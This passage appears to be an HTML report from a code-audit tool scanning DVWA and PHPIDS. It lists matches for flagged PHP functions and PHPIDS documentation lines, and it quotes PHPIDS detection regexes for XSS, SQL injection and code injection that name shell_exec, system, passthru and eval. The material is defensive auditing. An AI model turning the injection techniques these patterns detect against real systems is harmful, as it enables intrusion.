class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>343</span> <span class='match_count'>(244/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>340- 341- 342- </div> 343:<a name="methodconvertFromNestedBase64" id="convertFromNestedBase64"><span class='match_highlight'><!--</span> --></a> 344-<div class="evenrow"> 345- 346- <div class="method-header"> 347- <span class="method-title">static method convertFromNestedBase64</span> (line <span class="line-number">359</span>) 348- </div> 349- 350: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 351-<p class="short-description">This method matches and translates base64 strings and fragments used in data URIs</p> 352- <ul class="tags"> 353- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>373</span> <span class='match_count'>(245/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>370- 371- 372- </div> 373:<a name="methodconvertFromNewLines" id="convertFromNewLines"><span class='match_highlight'><!--</span> --></a> 374-<div class="oddrow"> 375- 376- <div class="method-header"> 377- <span class="method-title">static method convertFromNewLines</span> (line <span class="line-number">116</span>) 378- </div> 379- 380: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 381-<p class="short-description">Strip newlines</p> 382- <ul class="tags"> 383- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>403</span> <span class='match_count'>(246/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>400- 401- 402- </div> 403:<a name="methodconvertFromOutOfRangeChars" id="convertFromOutOfRangeChars"><span class='match_highlight'><!--</span> --></a> 404-<div class="evenrow"> 405- 406- <div class="method-header"> 407- <span class="method-title">static method convertFromOutOfRangeChars</span> (line <span class="line-number">383</span>) 408- </div> 409- 410: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 411-<p class="short-description">Detects nullbytes and controls chars via ord()</p> 412- <ul class="tags"> 413- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>433</span> <span class='match_count'>(247/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>430- 431- 432- </div> 433:<a name="methodconvertFromProprietaryEncodings" id="convertFromProprietaryEncodings"><span class='match_highlight'><!--</span> --></a> 434-<div class="oddrow"> 435- 436- <div class="method-header"> 437- <span class="method-title">static method convertFromProprietaryEncodings</span> (line <span class="line-number">558</span>) 438- </div> 439- 440: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 441-<p class="short-description">This method collects and decodes proprietary encoding types</p> 442- <ul class="tags"> 443- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>466</span> <span class='match_count'>(248/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>463- 464- 465- </div> 466:<a name="methodconvertFromSQLHex" id="convertFromSQLHex"><span class='match_highlight'><!--</span> --></a> 467-<div class="evenrow"> 468- 469- <div class="method-header"> 470- <span class="method-title">static method convertFromSQLHex</span> (line <span class="line-number">266</span>) 471- </div> 472- 473: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 474-<p class="short-description">Converts SQLHEX to plain text</p> 475- <ul class="tags"> 476- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>496</span> <span class='match_count'>(249/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>493- 494- 495- </div> 496:<a name="methodconvertFromSQLKeywords" id="convertFromSQLKeywords"><span class='match_highlight'><!--</span> --></a> 497-<div class="oddrow"> 498- 499- <div class="method-header"> 500- <span class="method-title">static method convertFromSQLKeywords</span> (line <span class="line-number">291</span>) 501- </div> 502- 503: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 504-<p class="short-description">Converts basic SQL keywords and obfuscations</p> 505- <ul class="tags"> 506- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>526</span> <span class='match_count'>(250/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>523- 524- 525- </div> 526:<a name="methodconvertFromUTF7" id="convertFromUTF7"><span class='match_highlight'><!--</span> --></a> 527-<div class="evenrow"> 528- 529- <div class="method-header"> 530- <span class="method-title">static method convertFromUTF7</span> (line <span class="line-number">449</span>) 531- </div> 532- 533: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 534-<p class="short-description">Converts relevant UTF-7 tags to UTF-8</p> 535- <ul class="tags"> 536- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>556</span> <span class='match_count'>(251/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>553- 554- 555- </div> 556:<a name="methodconvertFromXML" id="convertFromXML"><span class='match_highlight'><!--</span> --></a> 557-<div class="oddrow"> 558- 559- <div class="method-header"> 560- <span class="method-title">static method convertFromXML</span> (line <span class="line-number">403</span>) 561- </div> 562- 563: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 564-<p class="short-description">Strip XML patterns</p> 565- <ul class="tags"> 566- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>586</span> <span class='match_count'>(252/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>583- 584- 585- </div> 586:<a name="methodconvertJSRegexModifiers" id="convertJSRegexModifiers"><span class='match_highlight'><!--</span> --></a> 587-<div class="evenrow"> 588- 589- <div class="method-header"> 590- <span class="method-title">static method convertJSRegexModifiers</span> (line <span class="line-number">214</span>) 591- </div> 592- 593: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 594-<p class="short-description">Eliminate JS regex modifiers</p> 595- <ul class="tags"> 596- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>616</span> <span class='match_count'>(253/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>613- 614- 615- </div> 616:<a name="methodconvertQuotes" id="convertQuotes"><span class='match_highlight'><!--</span> --></a> 617-<div class="oddrow"> 618- 619- <div class="method-header"> 620- <span class="method-title">static method convertQuotes</span> (line <span class="line-number">249</span>) 621- </div> 622- 623: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 624-<p class="short-description">Normalize quotes</p> 625- <ul class="tags"> 626- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>646</span> <span class='match_count'>(254/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>643- 644- 645- </div> 646:<a name="methodrunAll" id="runAll"><span class='match_highlight'><!--</span> --></a> 647-<div class="evenrow"> 648- 649- <div class="method-header"> 650- <span class="method-title">static method runAll</span> (line <span class="line-number">65</span>) 651- </div> 652- 653: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 654-<p class="short-description">Runs all converter functions</p> 655-<p class="description"><p>Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!</p></p> 656- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>677</span> <span class='match_count'>(255/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>674- 675- 676- </div> 677:<a name="methodrunCentrifuge" id="runCentrifuge"><span class='match_highlight'><!--</span> --></a> 678-<div class="oddrow"> 679- 680- <div class="method-header"> 681- <span class="method-title">static method runCentrifuge</span> (line <span class="line-number">603</span>) 682- </div> 683- 684: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 685-<p class="short-description">This method is the centrifuge prototype</p> 686- <ul class="tags"> 687- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Storage.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(256/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Storage.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Storage.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(257/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> </div> </div> </div> <!-- column_content --> </div> <!-- @close_filetype --> <!-- @filetype --> <div id='filetype_java'> <nav class='column_nav'> <span class='pin'><a href='javascript:wt.toggle_pin()'>pin</a></span> <h3><a onclick='javascript:wt.signature.toggle_group(this, "db_access")'>db access [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_db_access'> <li class='ec0cd3cb91fe82b9501f62a528eb07a9'> <code><a href='#s-ec0cd3cb91fe82b9501f62a528eb07a9'>execute</a></code> <span class='signature_count'>(3)</span> <a class='show_hide' onclick='wt.signature.toggle("java","ec0cd3cb91fe82b9501f62a528eb07a9")'>Hide</a> </li> </ul> </nav> <div class='column_content'> <h2>java</h2> <div class='signature_ec0cd3cb91fe82b9501f62a528eb07a9 signature_group_db_access signature_group'> <a name='s-ec0cd3cb91fe82b9501f62a528eb07a9'></a> <h3> <code>execute</code> <span class='signature_count'>(3)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("java","ec0cd3cb91fe82b9501f62a528eb07a9")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/default_filter.xml</span>:<span class='line_number'>171</span> <span class='match_count'>(1/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>169- <filter> 170- <id>16</id> 171: <rule><![CDATA[([^*\s\w,.\/?+-]\s*)?(?<![a-mo-z]\s)(?<![a-z\/_@>\-\|])(\s*return\s*)?(?:alert|showmodaldialog|infinity|isnan|isnull|msgbox|expression|prompt|write(?:ln)?|confirm|dialog|urn|(?:un)?eval|exec|execscript|tostring|status|<span class='match_highlight'>execute</span>|window|unescape|navigate)(?(1)[^\w%"]|(?:\s*[^@\s\w%",.:\/+\-]))]]></rule> 172- <description>Detects possible includes and typical script methods</description> 173- <tags> 174- <tag>xss</tag></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/default_filter.xml</span>:<span class='line_number'>606</span> <span class='match_count'>(2/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>603- </filter> 604- <filter> 605- <id>56</id> 606: <rule><![CDATA[(?:merge.*using\s*\()|(<span class='match_highlight'>execute</span>\s*immediate\s*")|(?:\W+\d*\s+having\s+\d)|(?:match\s*[\w(),+-]+\s*against\s*\()]]></rule> 607- <description>Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections</description> 608- <tags> 609- <tag>sqli</tag></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/default_filter.xml</span>:<span class='line_number'>637</span> <span class='match_count'>(3/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>634- </filter> 635- <filter> 636- <id>59</id> 637: <rule><![CDATA[(?:(?:[;]+|(<[?%](?:php)?)).*(?:define|eval|file_get_contents|include|require|require_once|set|shell_exec|phpinfo|system|passthru|preg_\w+|<span class='match_highlight'>execute</span>)\s*["(@])]]></rule> 638- <description>Detects code injection attempts 2/3</description> 639- <tags> 640- <tag>id</tag></code></pre> </div> </div> </div> </div> </div> <!-- column_content --> </div> <!-- @close_filetype --> <!-- @filetype --> <div id='filetype_js'> <nav class='column_nav'> <span class='pin'><a href='javascript:wt.toggle_pin()'>pin</a></span> <h3><a onclick='javascript:wt.signature.toggle_group(this, "dangerous_functions")'>dangerous functions [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_dangerous_functions'> <li class='2eed1fe0db36d674643b5f84d2adf46e'> <code><a href='#s-2eed1fe0db36d674643b5f84d2adf46e'>eval</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("js","2eed1fe0db36d674643b5f84d2adf46e")'>Hide</a> </li> </ul> </nav> <div class='column_content'> <h2>js</h2> <div class='signature_2eed1fe0db36d674643b5f84d2adf46e signature_group_dangerous_functions signature_group'> <a name='s-2eed1fe0db36d674643b5f84d2adf46e'></a> <h3> <code>eval</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("js","2eed1fe0db36d674643b5f84d2adf46e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./dvwa/js/dvwaPage.js</span>:<span class='line_number'>6</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- day = new Date(); 5- id = day.getTime(); 6: <span class='match_highlight'>eval</span>("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=500,height=300,left = 540,top = 250');"); 7-} 8- 9-/* Form validation */</code></pre> </div> </div> </div> </div> </div> <!-- column_content --> </div> <!-- @close_filetype --> <!-- @filetype --> <div id='filetype_php'> <nav class='column_nav'> <span class='pin'><a href='javascript:wt.toggle_pin()'>pin</a></span> <h3><a onclick='javascript:wt.signature.toggle_group(this, "dangerous_functions")'>dangerous functions [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_dangerous_functions'> <li class='0de4ac8a3d23ab544ed323a26596e6ef'> <code><a href='#s-0de4ac8a3d23ab544ed323a26596e6ef'>eval(</a></code> <span class='signature_count'>(11)</span> <a class='show_hide' onclick='wt.signature.toggle("php","0de4ac8a3d23ab544ed323a26596e6ef")'>Hide</a> </li> <li class='1e36507a2d0dc5e8eec1719f6ad310e5'> <code><a href='#s-1e36507a2d0dc5e8eec1719f6ad310e5'>exec(</a></code> <span class='signature_count'>(5)</span> <a class='show_hide' onclick='wt.signature.toggle("php","1e36507a2d0dc5e8eec1719f6ad310e5")'>Hide</a> </li> <li class='f2de5b1efd0fc050395cfe7d5bfc53cd'> <code><a href='#s-f2de5b1efd0fc050395cfe7d5bfc53cd'>fclose(</a></code> <span class='signature_count'>(7)</span> <a class='show_hide' onclick='wt.signature.toggle("php","f2de5b1efd0fc050395cfe7d5bfc53cd")'>Hide</a> </li> <li class='44b1b75c399c7a12f035c43a5e347d2c'> <code><a href='#s-44b1b75c399c7a12f035c43a5e347d2c'>file(</a></code> <span class='signature_count'>(9)</span> <a class='show_hide' onclick='wt.signature.toggle("php","44b1b75c399c7a12f035c43a5e347d2c")'>Hide</a> </li> <li class='7bc55520eb98a73970ba7ba517846ffd'> <code><a href='#s-7bc55520eb98a73970ba7ba517846ffd'>file_get_contents(</a></code> <span class='signature_count'>(12)</span> <a class='show_hide' onclick='wt.signature.toggle("php","7bc55520eb98a73970ba7ba517846ffd")'>Hide</a> </li> <li class='3fdb7a345c5254104cc23673998a6a2d'> <code><a href='#s-3fdb7a345c5254104cc23673998a6a2d'>fopen(</a></code> <span class='signature_count'>(7)</span> <a class='show_hide' onclick='wt.signature.toggle("php","3fdb7a345c5254104cc23673998a6a2d")'>Hide</a> </li> <li class='de94e676c0358eefea4794f03d6bda4f'> <code><a href='#s-de94e676c0358eefea4794f03d6bda4f'>goto</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","de94e676c0358eefea4794f03d6bda4f")'>Hide</a> </li> <li class='d436eb0fd9de10b54a828ce6435f7e81'> <code><a href='#s-d436eb0fd9de10b54a828ce6435f7e81'>include</a></code> <span class='signature_count'>(70)</span> <a class='show_hide' onclick='wt.signature.toggle("php","d436eb0fd9de10b54a828ce6435f7e81")'>Hide</a> </li> <li class='14bc8cdea3dd1973da3ef53db302e21e'> <code><a href='#s-14bc8cdea3dd1973da3ef53db302e21e'>include_once</a></code> <span class='signature_count'>(10)</span> <a class='show_hide' onclick='wt.signature.toggle("php","14bc8cdea3dd1973da3ef53db302e21e")'>Hide</a> </li> <li class='a7f4298e8238817b5bbabc120dd310f0'> <code><a href='#s-a7f4298e8238817b5bbabc120dd310f0'>mail(</a></code> <span class='signature_count'>(4)</span> <a class='show_hide' onclick='wt.signature.toggle("php","a7f4298e8238817b5bbabc120dd310f0")'>Hide</a> </li> <li class='f0ffd3b7c2574ac324603ed00488c850'> <code><a href='#s-f0ffd3b7c2574ac324603ed00488c850'>require</a></code> <span class='signature_count'>(99)</span> <a class='show_hide' onclick='wt.signature.toggle("php","f0ffd3b7c2574ac324603ed00488c850")'>Hide</a> </li> <li class='8ba15bbb3811356170950e052e3f8060'> <code><a href='#s-8ba15bbb3811356170950e052e3f8060'>require_once</a></code> <span class='signature_count'>(58)</span> <a class='show_hide' onclick='wt.signature.toggle("php","8ba15bbb3811356170950e052e3f8060")'>Hide</a> </li> <li class='b4d770a2d48bac7142d51796f2babb9c'> <code><a href='#s-b4d770a2d48bac7142d51796f2babb9c'>shell_exec(</a></code> <span class='signature_count'>(3)</span> <a class='show_hide' onclick='wt.signature.toggle("php","b4d770a2d48bac7142d51796f2babb9c")'>Hide</a> </li> <li class='effefd84af1fbffd8d8e4d5349961cb6'> <code><a href='#s-effefd84af1fbffd8d8e4d5349961cb6'>system(</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","effefd84af1fbffd8d8e4d5349961cb6")'>Hide</a> </li> <li class='86750fb6d14ec15d645cdd28433a184c'> <code><a href='#s-86750fb6d14ec15d645cdd28433a184c'>unserialize(</a></code> <span class='signature_count'>(6)</span> <a class='show_hide' onclick='wt.signature.toggle("php","86750fb6d14ec15d645cdd28433a184c")'>Hide</a> </li> <li class='833344d5e1432da82ef02e1301477ce8'> <code><a href='#s-833344d5e1432da82ef02e1301477ce8'>`</a></code> <span class='signature_count'>(17)</span> <a class='show_hide' onclick='wt.signature.toggle("php","833344d5e1432da82ef02e1301477ce8")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "payload_obfuscators")'>payload obfuscators [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_payload_obfuscators'> <li class='84afe5f7623c288a0ca27b00a1abf74e'> <code><a href='#s-84afe5f7623c288a0ca27b00a1abf74e'>base64_decode(</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","84afe5f7623c288a0ca27b00a1abf74e")'>Hide</a> </li> <li class='cd91a147cc9a80526763ed2d294616e1'> <code><a href='#s-cd91a147cc9a80526763ed2d294616e1'>\$\$</a></code> <span class='signature_count'>(4)</span> <a class='show_hide' onclick='wt.signature.toggle("php","cd91a147cc9a80526763ed2d294616e1")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "form_data")'>form data [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_form_data'> <li class='36873191febbfe6c4cfb7d60d8aedfc0'> <code><a href='#s-36873191febbfe6c4cfb7d60d8aedfc0'>$_GET</a></code> <span class='signature_count'>(29)</span> <a class='show_hide' onclick='wt.signature.toggle("php","36873191febbfe6c4cfb7d60d8aedfc0")'>Hide</a> </li> <li class='af96ee114ac4e56b47dd4efd6694a827'> <code><a href='#s-af96ee114ac4e56b47dd4efd6694a827'>$_POST</a></code> <span class='signature_count'>(16)</span> <a class='show_hide' onclick='wt.signature.toggle("php","af96ee114ac4e56b47dd4efd6694a827")'>Hide</a> </li> <li class='77274c57134658673c3a59c7b2951842'> <code><a href='#s-77274c57134658673c3a59c7b2951842'>$_REQUEST</a></code> <span class='signature_count'>(6)</span> <a class='show_hide' onclick='wt.signature.toggle("php","77274c57134658673c3a59c7b2951842")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "globals")'>globals [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_globals'> <li class='76e33b87e40cceeb009eedd6a2a23937'> <code><a href='#s-76e33b87e40cceeb009eedd6a2a23937'>$_SESSION</a></code> <span class='signature_count'>(4)</span> <a class='show_hide' onclick='wt.signature.toggle("php","76e33b87e40cceeb009eedd6a2a23937")'>Hide</a> </li> <li class='74cf5004d8aceafd2531cc620a36c278'> <code><a href='#s-74cf5004d8aceafd2531cc620a36c278'>$_SERVER</a></code> <span class='signature_count'>(18)</span> <a class='show_hide' onclick='wt.signature.toggle("php","74cf5004d8aceafd2531cc620a36c278")'>Hide</a> </li> <li class='1a9740268f2ff86d08b218254a845455'> <code><a href='#s-1a9740268f2ff86d08b218254a845455'>$_COOKIE</a></code> <span class='signature_count'>(13)</span> <a class='show_hide' onclick='wt.signature.toggle("php","1a9740268f2ff86d08b218254a845455")'>Hide</a> </li> <li class='f7954bf9e76927eb5734ade2c3a235d5'> <code><a href='#s-f7954bf9e76927eb5734ade2c3a235d5'>$_FILES</a></code> <span class='signature_count'>(3)</span> <a class='show_hide' onclick='wt.signature.toggle("php","f7954bf9e76927eb5734ade2c3a235d5")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "sql")'>sql [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_sql'> <li class='63225f19fccb18e7c709f1fa11bc738e'> <code><a href='#s-63225f19fccb18e7c709f1fa11bc738e'>SELECT</a></code> <span class='signature_count'>(22)</span> <a class='show_hide' onclick='wt.signature.toggle("php","63225f19fccb18e7c709f1fa11bc738e")'>Hide</a> </li> <li class='61ee777e7f71dc466c3b2c685d8d313b'> <code><a href='#s-61ee777e7f71dc466c3b2c685d8d313b'>INSERT</a></code> <span class='signature_count'>(9)</span> <a class='show_hide' onclick='wt.signature.toggle("php","61ee777e7f71dc466c3b2c685d8d313b")'>Hide</a> </li> <li class='15a8022d0ed9cd9c2a2e756822703eb4'> <code><a href='#s-15a8022d0ed9cd9c2a2e756822703eb4'>UPDATE</a></code> <span class='signature_count'>(4)</span> <a class='show_hide' onclick='wt.signature.toggle("php","15a8022d0ed9cd9c2a2e756822703eb4")'>Hide</a> </li> <li class='32f68a60cef40faedbc6af20298c1a1e'> <code><a href='#s-32f68a60cef40faedbc6af20298c1a1e'>DELETE</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","32f68a60cef40faedbc6af20298c1a1e")'>Hide</a> </li> <li class='bf8f3be424eb6a72b21549fbb24ffb57'> <code><a href='#s-bf8f3be424eb6a72b21549fbb24ffb57'>DROP</a></code> <span class='signature_count'>(7)</span> <a class='show_hide' onclick='wt.signature.toggle("php","bf8f3be424eb6a72b21549fbb24ffb57")'>Hide</a> </li> <li class='0a83d15fde12983f199bdeb76667660f'> <code><a href='#s-0a83d15fde12983f199bdeb76667660f'>TRUNCATE</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","0a83d15fde12983f199bdeb76667660f")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "developer_notes")'>developer notes [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_developer_notes'> <li class='5af07d9c08fbb9e886057c245d6ace79'> <code><a href='#s-5af07d9c08fbb9e886057c245d6ace79'>@todo</a></code> <span class='signature_count'>(33)</span> <a class='show_hide' onclick='wt.signature.toggle("php","5af07d9c08fbb9e886057c245d6ace79")'>Hide</a> </li> <li class='4da859ea54b4c76db2a9f5b11772efde'> <code><a href='#s-4da859ea54b4c76db2a9f5b11772efde'>@note</a></code> <span class='signature_count'>(95)</span> <a class='show_hide' onclick='wt.signature.toggle("php","4da859ea54b4c76db2a9f5b11772efde")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "custom_strings")'>custom strings [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_custom_strings'> <li class='14c4b06b824ec593239362517f538b29'> <code><a href='#s-14c4b06b824ec593239362517f538b29'>username</a></code> <span class='signature_count'>(16)</span> <a class='show_hide' onclick='wt.signature.toggle("php","14c4b06b824ec593239362517f538b29")'>Hide</a> </li> <li class='5f4dcc3b5aa765d61d8327deb882cf99'> <code><a href='#s-5f4dcc3b5aa765d61d8327deb882cf99'>password</a></code> <span class='signature_count'>(42)</span> <a class='show_hide' onclick='wt.signature.toggle("php","5f4dcc3b5aa765d61d8327deb882cf99")'>Hide</a> </li> <li class='67b3dba8bc6778101892eb77249db32e'> <code><a href='#s-67b3dba8bc6778101892eb77249db32e'>host</a></code> <span class='signature_count'>(29)</span> <a class='show_hide' 